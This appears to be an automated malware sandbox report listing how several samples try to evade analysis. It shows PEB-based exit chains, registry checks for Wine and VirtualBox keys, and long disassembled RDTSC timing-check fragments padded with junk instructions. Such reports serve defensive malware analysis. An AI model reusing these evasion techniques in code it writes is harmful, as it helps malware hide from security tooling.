Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\HIDHIEGIII.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A903A8 second address: A8FBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jp 00007F5D59526BC4h 0x0000000f pushad 0x00000010 adc edi, 6293B125h 0x00000016 mov dword ptr [ebp+122D2ACFh], eax 0x0000001c popad 0x0000001d sub dword ptr [ebp+122D29DEh], esi 0x00000023 push dword ptr [ebp+122D06B9h] 0x00000029 pushad 0x0000002a sub esi, 361B7F0Dh 0x00000030 call 00007F5D59526BC9h 0x00000035 jng 00007F5D59526BB6h 0x0000003b pop eax 0x0000003c popad 0x0000003d call dword ptr [ebp+122D307Ah] 0x00000043 pushad 0x00000044 jmp 00007F5D59526BC8h 0x00000049 xor eax, eax 0x0000004b add dword ptr [ebp+122D2CE9h], ecx 0x00000051 mov edx, dword ptr [esp+28h] 0x00000055 mov dword ptr [ebp+122D1AB8h], eax 0x0000005b mov dword ptr [ebp+122D376Eh], eax 0x00000061 cmc 0x00000062 mov esi, 0000003Ch 0x00000067 jmp 00007F5D59526BC9h 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 jmp 00007F5D59526BBDh 0x00000075 lodsw 0x00000077 jmp 00007F5D59526BC4h 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 jno 00007F5D59526BC0h 0x00000086 or dword ptr [ebp+122D1AB8h], ebx 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 pushad 0x00000091 jl 00007F5D59526BB8h 0x00000097 push esi 0x00000098 pop esi 0x00000099 jnc 00007F5D59526BB7h 0x0000009f popad 0x000000a0 cmc 0x000000a1 nop 0x000000a2 push eax 0x000000a3 push edx 0x000000a4 jno 00007F5D59526BBCh 0x000000aa rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FBC5 second address: A8FBF1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5D595292FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d jmp 00007F5D59529300h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F5D595292F6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FBF1 second address: A8FBF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00F7A second address: C00F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007F5D595292F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F5D595292F6h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00F90 second address: C00FA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5D59526BBCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0127F second address: C0128B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0128B second address: C01291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01291 second address: C01295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05099 second address: C050E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F5D59526BB8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 jnp 00007F5D59526BB9h 0x00000017 mov di, bx 0x0000001a push 00000000h 0x0000001c or edx, 43C7FA07h 0x00000022 call 00007F5D59526BB9h 0x00000027 jmp 00007F5D59526BBDh 0x0000002c push eax 0x0000002d jl 00007F5D59526BC2h 0x00000033 jc 00007F5D59526BBCh 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C050E0 second address: C051AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 jnl 00007F5D595292FEh 0x0000000e mov eax, dword ptr [eax] 0x00000010 jl 00007F5D5952930Eh 0x00000016 pushad 0x00000017 jmp 00007F5D59529304h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 jns 00007F5D59529314h 0x00000029 pop eax 0x0000002a mov ecx, dword ptr [ebp+122D389Ah] 0x00000030 push 00000003h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F5D595292F8h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c pushad 0x0000004d mov edi, edx 0x0000004f add ebx, dword ptr [ebp+122D38FEh] 0x00000055 popad 0x00000056 cld 0x00000057 mov dword ptr [ebp+122D29DEh], esi 0x0000005d push 00000000h 0x0000005f pushad 0x00000060 xor dx, A1FBh 0x00000065 call 00007F5D595292FCh 0x0000006a mov di, 9400h 0x0000006e pop eax 0x0000006f popad 0x00000070 push 00000003h 0x00000072 mov edx, ecx 0x00000074 push C8E81D7Dh 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F5D59529305h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C051AF second address: C051B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C051B5 second address: C051E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D595292FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 08E81D7Dh 0x00000012 stc 0x00000013 lea ebx, dword ptr [ebp+12448FD1h] 0x00000019 mov dword ptr [ebp+122D1DE8h], ebx 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C051E1 second address: C051E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C051E6 second address: C051FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F5D595292F6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C051FA second address: C051FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05241 second address: C0524B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5D595292F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0524B second address: C05292 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D59526BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ecx, edx 0x00000011 push 00000000h 0x00000013 add ecx, 606FFA68h 0x00000019 call 00007F5D59526BB9h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5D59526BC2h 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jns 00007F5D59526BBCh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05292 second address: C052B6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5D595292F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jng 00007F5D595292FEh 0x00000014 je 00007F5D595292F8h 0x0000001a push edi 0x0000001b pop edi 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C052B6 second address: C052BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C052BE second address: C052CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C052CE second address: C052D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C052D4 second address: C05361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 mov edi, eax 0x00000009 push 00000003h 0x0000000b add dx, 4EC6h 0x00000010 push 00000000h 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F5D595292F8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e push esi 0x0000002f add edx, 34F67930h 0x00000035 pop ecx 0x00000036 push C992E198h 0x0000003b push esi 0x0000003c jno 00007F5D595292F8h 0x00000042 pop esi 0x00000043 xor dword ptr [esp], 0992E198h 0x0000004a mov dword ptr [ebp+122D1AB8h], ecx 0x00000050 lea ebx, dword ptr [ebp+12448FDAh] 0x00000056 jmp 00007F5D59529305h 0x0000005b push eax 0x0000005c push ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F5D59529308h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C053CD second address: C05420 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5D59526BBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d or edi, dword ptr [ebp+122D37E2h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F5D59526BB8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jnl 00007F5D59526BBCh 0x00000035 push D5A4BF4Fh 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05420 second address: C05424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05424 second address: C054B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 2A5B4131h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F5D59526BB8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov esi, dword ptr [ebp+122D385Eh] 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F5D59526BB8h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a push 00000000h 0x0000004c movzx edx, cx 0x0000004f mov dword ptr [ebp+122D1ADCh], ecx 0x00000055 push 00000003h 0x00000057 jmp 00007F5D59526BC3h 0x0000005c push 9B4B000Ch 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F5D59526BC2h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C267D3 second address: C267E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5D595292F6h 0x0000000a popad 0x0000000b jc 00007F5D595292FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C249E7 second address: C249ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C249ED second address: C249FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F5D595292F8h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C249FE second address: C24A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2523C second address: C25256 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529305h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25256 second address: C2525E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C253AC second address: C253B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19F65 second address: C19F8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC5h 0x00000007 push esi 0x00000008 jmp 00007F5D59526BC0h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19F8F second address: C19FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F5D59529301h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C258FA second address: C258FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C258FE second address: C25925 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jp 00007F5D595292F6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25925 second address: C2592C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2592C second address: C25931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25F0A second address: C25F26 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F5D59526BC1h 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25F26 second address: C25F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25F2C second address: C25F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C260A6 second address: C260AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26664 second address: C2666A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2666A second address: C2667E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jnp 00007F5D595292F6h 0x0000000c jo 00007F5D595292F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27D16 second address: C27D1C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B9BB second address: C2B9C5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B9C5 second address: C2B9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59526BC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B9DC second address: C2B9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2BE1C second address: C2BE34 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5D59526BB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2BE34 second address: C2BE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A7F9 second address: C2A7FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C0A1 second address: C2C0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jns 00007F5D595292FCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edi 0x0000000e pushad 0x0000000f jg 00007F5D595292F6h 0x00000015 jmp 00007F5D595292FBh 0x0000001a popad 0x0000001b pop edi 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push ebx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C0D3 second address: C2C0FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jns 00007F5D59526BB6h 0x00000011 jmp 00007F5D59526BC5h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C297 second address: C2C2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F5D59529303h 0x0000000a jno 00007F5D595292F6h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5D59529303h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C2CD second address: C2C2D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF591F second address: BF5923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5923 second address: BF5941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5941 second address: BF5947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5947 second address: BF594D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF594D second address: BF5971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F5D5952930Fh 0x0000000b jmp 00007F5D59529309h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C303D1 second address: C303EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59526BC2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3056F second address: C30588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529303h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30588 second address: C3058D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30AEC second address: C30AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30AF2 second address: C30AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30AF6 second address: C30B16 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5D59529306h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30B16 second address: C30B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F5D59526BB8h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F5D59526BC8h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F5D59526BC8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30CF0 second address: C30CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C329BD second address: C329C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C329C1 second address: C329C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32D37 second address: C32D45 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5D59526BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
